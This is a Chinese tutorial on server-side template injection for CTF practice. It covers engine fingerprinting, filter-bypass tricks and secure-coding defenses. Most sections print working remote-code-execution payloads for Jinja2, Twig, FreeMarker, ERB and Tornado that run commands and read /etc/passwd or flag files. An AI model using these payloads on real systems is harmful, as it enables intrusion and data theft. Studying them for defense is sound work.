刚接触 Web 入门题单的人,大多会在 SSTI 这一类题上卡住。前面的 SQL 注入、文件包含、命令执行,套路还算直观——有输入框就往里塞单引号,有参数就往里塞../。到了 SSTI 就没那么直观了:题目往往只给你一个输入框,输入{{7*7}}回显49,输入别的什么反应都没有。很多人第一反应是"这算什么漏洞",然后去搜现成 payload,粘进去,过了,下一题。等到题目开始过滤引号、过滤下划线、过滤关键字,那套背下来的 payload 立刻失效。
中间那段被跳过的过程才是真正有价值的东西:模板引擎到底在哪个位置执行用户输入、为什么一个双大括号就能从"好奇"走到"读文件"、在过滤环境下怎么把被砍掉的语法一块块拼回来。我以 Python 的 Jinja2 为主线,因为它在这类入门题里出现频率最高,同时把 Twig、FreeMarker、Velocity、Smarty 这些常见引擎的差异做成对照。所有内容都基于本地自建靶场和练习环境里的复现,只讨论原理与防御,不针对任何线上业务系统。
1. 先把"谁在渲染谁"这件事拆清楚
1.1 模板引擎的本职工作与它的越界点
模板引擎的分工非常明确:模板文本是程序,数据是输入,引擎负责把数据填进模板的占位符里,最后输出一份完整文本。这个分工的前提是——模板文本来自开发者,数据来自用户,两者永远不在同一层。SSTI 的全部问题就出在这个前提被打破:用户提供的字符串被当成了模板文本的一部分,交给引擎去编译执行。
举个最直观的对照。下面第 2 行是安全的,第 1 行是危险的:
# 危险:用户输入参与模板源码拼接 render_template_string("你好," + name) # 安全:用户输入只是渲染数据 render_template("hello.html", name=name)这两行的区别不在参数,而在编译时机。前者是"先拼成模板,再编译",用户输入进入了编译器的输入端;后者是"模板已经编译好,用户输入只是去填空"。我把这个区别叫作"数据是否跨过了编译边界",这是判断任何一处代码有没有 SSTI 的唯一标准,比看有没有用render_template_string更准确——因为用render_template也可能翻车,如果模板文件是从数据库里读出来的话。
顺带说一个容易被忽略的点:并不是只有 Python 才有这个问题。Jinja2 对应 Flask,Twig 对应 Symfony/Laravel,FreeMarker 对应 Java 的 Spring MVC,Velocity 对应老一代 Java 项目,Smarty 对应 PHP 生态,ERB 对应 Ruby on Rails,Tornado 自带模板系统,Thymeleaf 在 Spring Boot 里几乎成了标配。它们共同的特征是"模板里能写表达式",只要表达式能求值,就有可玩的空间。
1.2 为什么{{7*7}}是最省事的第一发探测
几乎所有 SSTI 的教学都从{{7*7}}开始,不是因为它是唯一答案,而是因为它同时具备三个性质:无副作用、区分度高、成本极低。
- 无副作用:它只是算个数,不会改数据库、不会写文件,就算打歪了也不会把靶场弄崩。
- 区分度高:回显
49说明引擎真的在求值;原样回显{{7*7}}说明这段内容被当成普通文本输出去了,或者被 HTML 转义了;页面报错则给了你一堆新情报。三种结果三种走向,没有模糊地带。 - 成本极低:不需要理解目标用什么框架,先打一发再看反应,是最符合性价比的排查顺序。
有一个细节值得展开:为什么用7*7而不是1+1?因为1+1的结果2太短、太容易和页面里其他数字撞车,肉眼判断容易出错。49这个数字相对少见,而且在页面里出现的位置通常就是渲染点,一眼就能定位。同理,我习惯用7*7和{{7*'7'}}配合打:前者测算术能力,后者测字符串运算能力。
{{7*'7'}}这个探测之所以妙,是因为它能区分两个语法极其相似的引擎:Jinja2 会把'7'当成字符串,字符串乘以整数返回重复拼接,结果是一串7777777;Twig 则会把'7'转成数字参与运算,结果是49。一发 payload 就把 Python 系和 PHP 系分开了,比看页面 UI 靠谱得多。
1.3 输入点远比你想的多
入门题里最常见的形态是一个搜索框或者 URL 参数?name=xxx,但实际环境里的注入点分布要广得多。我在靶场里刻意做过一组对照实验,同一段有漏洞的渲染代码,把入口换到不同位置,成功率差别很大:
| 输入位置 | 常见程度 | 典型场景 |
|---|---|---|
| URL 查询参数 | 极高 | 搜索页、详情页、个性化问候 |
| 表单 POST 字段 | 高 | 用户名回显、反馈内容预览 |
| 请求头 | 中 | UA 解析、语言协商、来源页展示 |
| 文件名 / 路径段 | 中 | 报表导出、静态资源重命名 |
| 邮件正文与标题 | 中 | 通知模板、找回密码邮件 |
| PDF / 图片生成 | 低但杀伤大 | 导出报告、单据渲染 |
入门题单里,第三行往下的位置出现频率不高,但一旦出现,很多人会漏。我印象最深的一次是做一道"个性化问候"的题,参数怎么试都返回原样,最后是在User-Agent里打进去才命中——那条 UA 被拿去渲染页脚的"最近访问者"模块了。这类题教给我的经验是:找不到注入点时,把所有会被服务端"回显"到页面的字段列一遍,而不只是盯着参数名。
2. 引擎指纹识别:不同模板语言的"方言"对照
2.1 三种结果对应三条完全不同的路
探测的价值在于分流。一发{{7*7}}打出去,拿到结果先别急着往下打 payload,先判它属于哪一类:
第一类,回显 49。说明引擎在求值,且用的很可能是{{ }}这一族语法。这时候要立刻补一发{{7*'7'}}和${7*7}、<%= 7*7 %>把范围再收窄。因为不少引擎同时支持多种定界符,只测一种容易误判。
第二类,原样回显{{7*7}}。这时候不要马上下结论说"没漏洞"。有两种可能:一是这块内容压根没经过模板,走的是纯字符串替换;二是模板确实跑了,但这个表达式不是合法的求值语法。比如 Django 模板就不支持算术表达式,{{7*7}}会老老实实输出7*7,很多人一看到这个就放弃了,其实应该换${7*7}或者{% if %}试试。
第三类,报错。报错是好事,而且是大好事。报错页面里通常会带模板文件的路径、引擎名称、行号、甚至部分解析树。我见过最慷慨的一次,报错页直接把 Jinja2 的TemplateSyntaxError和模板文件绝对路径一起吐出来了,等于免费送答案。
2.2 常见引擎的探测句式对照
下面这张表是我自己整理、在靶场里逐条验证过的。实际做题时按顺序打,命中哪个就停下:
| 探测 payload | 命中引擎特征 | 备注 |
|---|---|---|
{{7*7}}→49 | Jinja2 / Twig / Tornado / Nunjucks | 最常见的起点 |
{{7*'7'}}→7777777 | Jinja2 系 | 字符串重复 |
{{7*'7'}}→49 | Twig 系 | 字符串转数字 |
${7*7}→49 | FreeMarker / JSP EL / Thymeleaf | Java 生态高频 |
#{7*7}→49 | Ruby 字符串插值 / Thymeleaf 变体 | 少见但对症 |
<%= 7*7 %>→49 | ERB (Ruby) / EJS (Node) | 尖括号家族 |
{7*7}→49 | Smarty | PHP 生态 |
@(7*7)→49 | Razor (.NET) | 遇到概率低 |
{% ... %}能生效 | Jinja2 系 | 语句块可用 |
{# #}被吞掉 | Jinja2 / Twig | 注释语法 |
表里最后两行经常被忽视。很多时候{{ }}被 WAF 或题目过滤了,但{% %}没被过滤,这时候{% print(7*7) %}一样能打出49。我在一道过滤了双大括号的题里就是靠{% print %}走通的,这个细节后面第 4 章还会展开。
2.3 报错堆栈是被低估的情报源
报错页面的价值不在于"知道出错了",而在于它泄露了执行栈。一个典型的 Jinja2 报错会告诉你:哪个模板文件、哪一行、哪个表达式解析失败、调用链上经过了哪些函数。这三条信息几乎等于把答案写在了脸上。
我处理报错页的顺序是固定的:先找引擎名(jinja2、twig、freemarker、velocity这类关键字),再找版本号(版本决定哪些历史特性可用),最后找路径(路径能反推项目结构,有时候会意外暴露模板目录和配置目录)。
有一种情况要特别注意:某些框架在调试模式下会把整个环境变量、配置字典、甚至SECRET_KEY一起打出来。这时候 SSTI 已经不是最高优先级的入口了,直接拿泄露的凭据去走别的路可能更快。我在靶场里就遇到过"报错页把 Flask 的 config 全吐出来"的配置,那种环境下继续吭哧吭哧构造利用链反而是绕远路。
3. Jinja2 利用链的逐环拆解
3.1 从__class__到__mro__:顺着家谱往上爬
Jinja2 的经典利用链之所以能成立,全靠 Python 对象模型里那几个"公开的后门":任何对象都有__class__,任何类都有__mro__(方法解析顺序),任何类都有__subclasses__(),任何函数都有__globals__。这几个属性本来是给内省和调试用的,但它们对"任意对象都能访问"这一点没有设防,所以在模板里能访问到一个字符串,就能顺着爬到整个运行时。
拆开看,每一环的作用是:
''.__class__→<class 'str'>,从一个字符串实例摸到了它的类;''.__class__.__mro__→(str, object),从类摸到了继承链;''.__class__.__mro__[1]→object,爬到所有类的根;object.__subclasses__()→ 一个长长的列表,里面装着当前解释器里所有直接继承object的类。
从"一个空字符串"到"整个进程里所有可用的类",只用了四步。这就是为什么 Jinja2 的利用链看起来像变魔术——它根本没用什么漏洞,用的全是语言自带的正常能力。
3.2__subclasses__()的下标怎么找
__subclasses__()返回的列表长度在不同环境里完全不同,同一个镜像重启一次都可能变。所以死记某个下标是没有意义的,必须现场定位。我常用的三种方法:
方法一,本地数一遍。在本地跑起同版本的环境,把列表打印出来,用enumerate找目标类的下标。这个方法的缺点是本地环境和靶场环境的依赖包不完全一致,下标可能对不上。
方法二,用模板语法现场筛。Jinja2 支持for和if,可以直接在模板里遍历:
{% for c in ''.__class__.__mro__[1].__subclasses__() %} {% if 'Popen' in c.__name__ %}{{ loop.index0 }}:{{ c.__name__ }}{% endif %} {% endfor %}loop.index0是 Jinja2 内置的循环变量,从 0 开始计数,正好对应列表下标。这段代码在大多数环境里能直接把目标类的下标打印出来,比盲猜高效得多。
方法三,直接绕过下标。如果目标是执行命令,其实有很多不依赖下标的短链,这条路径更稳,下一小节展开。
在靶场里我常用的几个目标类,以及它们各自能干什么:
| 目标类 | 利用点 | 特点 |
|---|---|---|
subprocess.Popen | 直接执行命令 | 最直接,但要处理 stdout |
os._wrap_close | __init__.__globals__里有os模块 | 可拿到popen/system |
warnings.catch_warnings | __init__.__globals__里有__builtins__ | 能再导入任意模块 |
_frozen_importlib.BuiltinImporter | 能load_module | 老版本有效 |
click._compat等第三方类 | 通过 globals 摸到模块 | 依赖安装情况 |
subprocess.Popen用得最多,但调用的时候有个坑:不设置stdout参数,命令输出不会回显,你会以为没执行成功。正确的写法是stdout=-1(等价于subprocess.PIPE):
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()[0].decode() }}communicate()返回的是一个元组(stdout, stderr),取[0]再decode()才是人能看的字符串。漏掉decode()你会看到一串b'...',虽然也能读,但在 payload 里多一层处理容易出错。
3.3 更短的路径:globals与builtins
绕开下标最有效的方式,是直接利用 Jinja2 暴露给模板的全局函数。Jinja2 在渲染上下文里默认塞了一批函数,比如lipsum、cycler、joiner、namespace、url_for、get_flashed_messages、range、dict、config、request、session、g。这些都是 Python 函数或对象,都有__globals__,而__globals__里通常能直接摸到os、sys、__builtins__这些名字。
几条我常用的短链,按可靠性排序:
{{ lipsum.__globals__.os.popen('id').read() }} {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} {{ url_for.__globals__['os'].popen('id').read() }} {{ config.__class__.__init__.__globals__['os'].popen('id').read() }} {{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}这几条的共同优势是:不依赖__subclasses__()的下标。只要模板上下文里有lipsum或cycler,链路就是稳定的。lipsum是 Jinja2 内置的假文生成函数,几乎在所有 Flask 环境下都存在,所以它是我第一优先尝试的对象。
config那条链也值得单独说一句。config在 Flask 里是app.config,类型是Config,它的__class__就是flask.config.Config,__init__是普通函数,__globals__指向flask.config模块的全局命名空间,那里面 import 了os。这条链的好处是config永远存在,坏处是链稍微长一点,遇到长度限制时不一定塞得进去。
3.4 无回显时的三种取证方式
入门题大部分是回显型,但稍微进阶一点的就会开始玩"盲"的:命令执行了,但页面不给你输出。这时候有三条路可以走。
第一条,外带。把命令结果编码后拼进一个能访问的地址,或者写到一个可读的文件里。
{{ lipsum.__globals__.os.popen('cat /flag | base64').read() }}如果页面会把结果拼到某个你能看到的地方,这条路就通了。如果完全看不到,可以试写文件:
{{ lipsum.__globals__.__builtins__.open('/tmp/out','w').write(lipsum.__globals__.os.popen('id').read()) }}前提是你知道一个可读的静态目录。
第二条,布尔盲注。用命令的返回值拼一个判断条件,看页面某处是否变化:
{% if lipsum.__globals__.os.popen('ls / | grep -q flag').read() == '' %}A{% else %}B{% endif %}通过A/B的差异一位一位地抠,速度慢但极其稳定。写脚本跑的话,一个字符大概几秒钟。
第三条,时间盲注。用sleep做判断,看响应时间:
{{ lipsum.__globals__.os.popen('sleep 5').read() }}这条思路最不挑环境,但最慢,而且受网络抖动影响大。我一般只在布尔盲注被完全堵死的时候才用。实测下来,把 sleep 设成 4~5 秒比较合适,太短了分不清,太长了整道题能耗掉半小时。
4. 过滤绕过:字符、关键字、长度三个维度
4.1 引号被吃掉时怎么造字符串
引号是最常被过滤的字符之一。没有引号,'id'写不出来,'__class__'也写不出来。绕过的核心思路是从别的地方取字符串,而不是在模板里写字符串。
最省事的来源是请求本身。Jinja2 的模板上下文里有request对象,它的args、form、cookies、headers都是用户完全可控的:
{{ ().__class__.__base__.__subclasses__()[X](request.args.cmd, shell=True, stdout=-1).communicate()[0].decode() }}请求?name=上面的payload&cmd=id,字符串id就从 URL 里进来了,模板里一个引号都不需要。这个技巧在过滤严格的题里几乎是标配,我建议一开始就把request.args.xxx的写法养成习惯。
如果request也被过滤了(少见但存在),还有两条备选。一是用模板里的无引号常量:dict(a=1)能造出字典,range(1)能造出序列,()是空元组,[]是空列表。二是用编码构造,\x5f代表下划线,\x69\x64代表id,但字符串字面量本身还是需要引号包起来,所以这条路只在"引号没被过滤、但某些字符被过滤"的时候有用。
4.2 下划线、点、方括号的等价写法
这三个符号是过滤的重灾区,但它们的作用几乎可以互相替代。
点被过滤时,用方括号下标:''.__class__改成''['__class__']。
方括号被过滤时,用attr过滤器:''|attr('__class__'),lipsum|attr('__globals__')。
下划线被过滤时,把字符串交给attr去解析:''|attr(request.args.a),a=__class__。因为下划线出现在 URL 参数里,不经过模板词法分析,所以完美规避。
三方全禁时的组合:
{{ (lipsum|attr(request.args.g)|attr(request.args.o)).os.popen(request.args.c).read() }}请求串是?g=__globals__&o=__builtins__&c=id之类。这种写法看着丑,但在严格过滤下非常稳,我在靶场里用它过掉过一道同时禁掉引号、点、下划线、方括号的题。
还有一个小技巧:|map(attribute='...')和|selectattr也能用来替代点访问,在attr被禁的时候可以试试。不过这两个过滤器语法更啰嗦,长度限制严的时候不划算。
4.3 关键字黑名单:拼接、编码、大小写
class、mro、subclasses、globals、builtins、os、system、popen、eval、import这一串,是黑名单的常客。绕过的核心就一个字:拆。
{{ ''['__cla'+'ss__'] }} {{ ''['__cl'+'ass__'] }} {{ lipsum.__globals__['o'+'s'].popen('id').read() }} {{ lipsum.__globals__['__buil'+'tins__'] }}拆的位置要选在黑名单匹配不到的地方。比如黑名单里写的是__class__,那'__cla'+'ss__'就能过;如果黑名单里写的是class,那'__cla'+'ss__'也能过,因为单个字符串片段里不含完整的class。这条规律是我踩过坑才总结出来的:黑名单匹配的是子串,那就把关键字在子串层面切开。
字符串拼接之外,还有几种替代:
- 大小写混写:
__CLASS__在某些引擎里属性名大小写敏感,通常在 Python 里不行,但有些 WAF 的规则是大小写敏感的,可以试试。 - Unicode 编码:Jinja2 的字符串支持
\u转义,'\u005f\u005fclass\u005f\u005f'在某些环境下能还原。 - 用
|join组合列表:['__cl','ass__']|join得到完整字符串。 - 用
format拼接:'%s%s'|format('__cl','ass__')。 - 用
reverse倒着来:'__ssalc__'|reverse。
最后这条reverse在过滤规则只匹配正向关键字的时候特别好用,属于我很喜欢的一个小 trick。
4.4 借request上下文做参数注入
前面提过request.args,这里单独展开说说它的完整用法,因为这是绕过能力最强的一个点。
Jinja2 的上下文中,request对象能拿到args(查询串)、form(表单)、cookies、headers、values、json。这意味着你可以把一整条链拆成若干段,全塞进请求里,模板里只留最少的字符:
{{ ().__class__.__base__.__subclasses__()[request.args.i](request.args.c,shell=True,stdout=-1).communicate()[0].decode() }}请求?name=...&i=123&c=cat /flag,连数字下标都可以动态调整,一道题打完换个下标不用改 payload。这个技巧在做需要反复试探的题时能省掉大量时间。
request.cookies和request.headers也是同样的道理。有些题只过滤了 URL 参数,没管 Cookie,这时候从 Cookie 里取字符串就能过。我遇到过一次,args里的内容被额外过滤了一轮,但cookies没有,换了个位置立刻通了。这类经验说明:过滤规则往往是按输入位置写的,换位置经常能找到缺口。
4.5 长度限制下的取舍
有些题会限制输入长度,比如只能打 200 个字符。这时候要开始精打细算:
- 优先选短链:
lipsum.__globals__.os.popen('id').read()比__subclasses__那一套短得多。 - 用
{% set %}定义中间变量,避免重复写长链:
{% set a=lipsum.__globals__ %}{{ a.os.popen('id').read() }}- 用
|attr替代长名字,配合request.args。 - 能省的空格全省,
{{和表达式之间不要有空格。
之前提过的{% print(7*7) %}在这里也有用武之地:当{{ }}被禁而{% %}没禁,长度又紧的时候,{%print(...)%}是唯一的选择。
5. 其他引擎的差异:不能一套 payload 打天下
5.1 Twig:_self的历史包袱与新版替代
Twig 的经典利用方式依赖_self:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}这条链在 Twig 1.x 里效果很好,但 Twig 2.0 之后_self的语义变了,指向的是模板名而不是模板对象,这条路就断了。新版常用的替代是map和filter回调:
{{ ['id']|map('system')|join }} {{ ['id']|filter('system')|join }} {{ ['id']|sort('system')|join }}map会把每个元素传给回调函数,system就是 PHP 的system。这个写法的好处是短,而且不依赖_self内部结构,在 Twig 2/3 上都能打。
新版 Twig 的利用门槛比 Jinja2 高不少,主要因为 PHP 对象模型里没有__globals__这种东西,你得去找能反序列化或者能加载类的入口。在入门题里,Twig 通常只考到{{7*'7'}}的指纹识别和map('system')这一步。
5.2 FreeMarker:?new与Execute
FreeMarker 的经典写法是?new内建函数,它能实例化一个类:
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")} <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id").start()}Execute类实现了TemplateMethodModel,直接调用就能执行命令。ObjectConstructor更底层,能构造任意 Java 对象,威力更大但也更容易被拦。
新版 FreeMarker 默认禁用了?new,对应的绕过是用?api:
<#assign classLoader=object?api.class.protectionDomain.classLoader>拿到classLoader之后就能反射加载任意类。这条链的细节比较长,实际做题时往往能拿到引擎版本号,按版本选对应的写法就行。
5.3 Velocity、Smarty、ERB 和 Tornado 的差异
这四家的利用思路不能互相套用,但奇技淫巧的方向是一致的——都是想办法从"能求值"走到"能加载类/能调函数"。
| 引擎 | 典型利用 | 特点 |
|---|---|---|
| Velocity | #set($x='')后调$x.getClass().forName(...) | Java 反射路径 |
| Smarty | {Smarty_Internal_Write_File::writeFile(...)} | 静态方法可直接调 |
| Smarty 旧版 | {php}...{/php} | 3.x 已移除 |
| ERB | <%= system('id') %> | 最直接,Ruby 无沙箱 |
| Tornado | {% import os %}{{ os.popen('id').read() }} | 支持 import 语句 |
ERB 那条最"朴素",因为 Ruby 的模板里可以直接写任何 Ruby 代码,<%= system('id') %>就这么简单,不需要绕任何链。这也是为什么 Rails 项目里一旦出现模板注入,往往比 Python 系更致命。
Tornado 的{% import %}语法值得单独记一下——它允许在模板里直接 import 模块,一步到位,比 Jinja2 绕一大圈简单得多。指纹上,{{7*7}}在 Tornado 里同样返回49,所以看到{{ }}命中不要急着当 Jinja2 打,先用{% import os %}试一下,命中率很高。
5.4 Django 模板为什么基本打不动
Django 模板的设计哲学是"模板里不放逻辑",它压根不支持函数调用和表达式运算。{{7*7}}在 Django 里输出的是字面量7*7,{{ ''.__class__ }}也不会返回类对象,而是尝试在上下文字典里找这个名字,找不到就当空字符串。
这意味着 Django 模板的"注入"通常只能做到变量访问级别的利用,比如读到不该读的上下文变量。要走到命令执行,必须配合别的漏洞(比如能控制模板文件内容、能写到可加载的路径)。
我在靶场里试过各种写法想打穿 Django,最后结论是:遇到 Django 就不要在 SSTI 上耗时间,转头看看有没有其他更靠谱的入口。这个判断本身也是一种经验——识别出"这条路走不通"比硬啃更省时间。
6. 从出题到写代码:SSTI 的防线到底在哪
6.1 数据永远不进入模板编译阶段
所有防御手段里,只有这一条是根本性的:用户提供的内容必须只作为变量值出现,绝不能作为模板源码的一部分。换成代码语言就是,永远是render(template, data),绝不是render(template_string_built_with_user_input)。
这条原则推到极致就是:如果业务真的需要"用户自定义模板",那也不能让用户写原生模板语法,得设计一套受限的占位符语法,比如只允许{name}、{date}这种格式,然后在渲染前用一个白名单替换器处理,替换完再交给真正的模板引擎——或者干脆不用模板引擎,直接用字符串替换。
我在一个需要"通知模板自定义"的场景里就是这么做的:用户能用的占位符只有五个,每个对应一个固定的变量名,替换逻辑是一张哈希表加正则,全程不碰模板引擎。这样即使有人往模板里塞{{7*7}},也只会被当成普通文字输出。
6.2 沙箱不是万能药,但能抬高门槛
很多人指望 Jinja2 的SandboxedEnvironment解决问题。它确实能拦掉大量常规 payload,比如禁止访问以下划线开头的属性、限制可用的过滤器。但沙箱的绕过研究一直没停过,绕过思路主要集中在这几类:
- 通过已被允许的对象,间接摸到未受限的对象;
- 利用过滤器或内置函数的副作用;
- 找到沙箱黑名单里漏掉的类。
我的看法是:沙箱是纵深防御的一层,不是唯一防线。它能把"随手一试就能打通"降到"需要专门研究才能打通",这个价值是实打实的,但绝对不能因为它存在就放松输入验证。
真正有效的组合是三层:第一层是架构上隔离(用户数据不进模板),第二层是沙箱/白名单(限制模板能触达的能力),第三层是运行时限制(进程权限、文件系统只读、网络出站限制)。前两层防的是"能不能执行",第三层防的是"执行了能造成多大破坏"。
6.3 代码评审时盯这几个信号
如果要在别人的代码里找 SSTI,我一般 grep 这几个东西:
| 搜索目标 | 关注原因 |
|---|---|
render_template_string | Flask 里最直接的高危函数 |
Template(后跟变量 | 动态构造模板 |
Environment().from_string | 手动编译模板 |
jinja2.Template | 同上 |
Twig+createTemplate | PHP 侧的对应写法 |
freemarker.template.Template | Java 侧对应写法 |
看到这些函数本身不一定是漏洞,关键是看参数里有没有变量。render_template_string(get_template_from_config())和render_template_string("Hello {{name}}", name=user)完全是两回事,前者危险,后者安全。
顺带提一个容易漏的点:日志和错误页。有些项目会把用户输入原样渲染到错误页里,错误页本身可能就在用模板引擎渲染。这类"边缘页面"往往是安全评审的盲区,我在靶场里专门做过一道"404 页面回显路径"的题,注入点就藏在 404 的路径展示里。
7. 打这类题时我踩过的那些坑
第一个坑是把{{7*7}}返回49当成"肯定是 Jinja2"。实际上 Twig、Tornado、Nunjucks 也都返回49。我第一次因为这个误判,花了二十分钟在 Jinja2 的__subclasses__上碰壁,后来试了{% import os %}才发现是 Tornado。现在我固定按"先7*7,再7*'7',再{% %}能不能用,再${ }"这个顺序走一遍,多花三十秒,少走半小时。
第二个坑是忘了stdout=-1。subprocess.Popen不设这个参数,命令是执行了,但输出去了标准输出流,模板拿不到。我一度以为命令没执行,还去怀疑是禁用了subprocess,白白排查了一轮。从那以后我在自己的笔记里把这条写成了一句口诀:"Popen 必带 stdout,communicate 必取零下标"。
第三个坑是在过滤环境下不敢用丑payload。刚开始做过滤题的时候,我总觉得{{ (lipsum|attr(request.args.g)|attr(request.args.o)).os.popen(request.args.c).read() }}这种写法"太脏了,不可能对",结果它就是对的。过滤越严,payload 越丑,这是一条稳定规律。能不能想到丑写法,取决于你对语法等价替换熟不熟,而不是取决于题目难不难。
第四个坑是忽略了下标会变。同一个镜像,我在本地数出来是 132,靶场里是 128,中间差了 4 个。原因是靶场多装了几个包。后来我改成用{% for %}循环现场筛,问题一次解决。这件事对我的启发是:凡是依赖环境状态的硬编码,都要准备一个不依赖它状态的替代方案。
第五个坑相对抽象一点:只想着打穿,没想到先读源码。有一道题我折腾了很久想用__subclasses__直接执行命令,一直失败,后来在页面源码的注释里看到了一行版本提示,换了个对应版本的类名,一次就通了。信息收集永远比硬试划算,哪怕是看一眼 HTML 注释这种成本几乎为零的操作。
最后分享一个我现在养成的习惯:每打完一道 SSTI 题,不管成没成,都把当时用的 payload、遇到的过滤规则、最终的绕过思路记一行。这些记录攒到三五十条之后,再遇到过滤题基本能实现"看一眼过滤规则就知道该走哪条路",这个直觉不是背出来的,是一条一条实录积累的。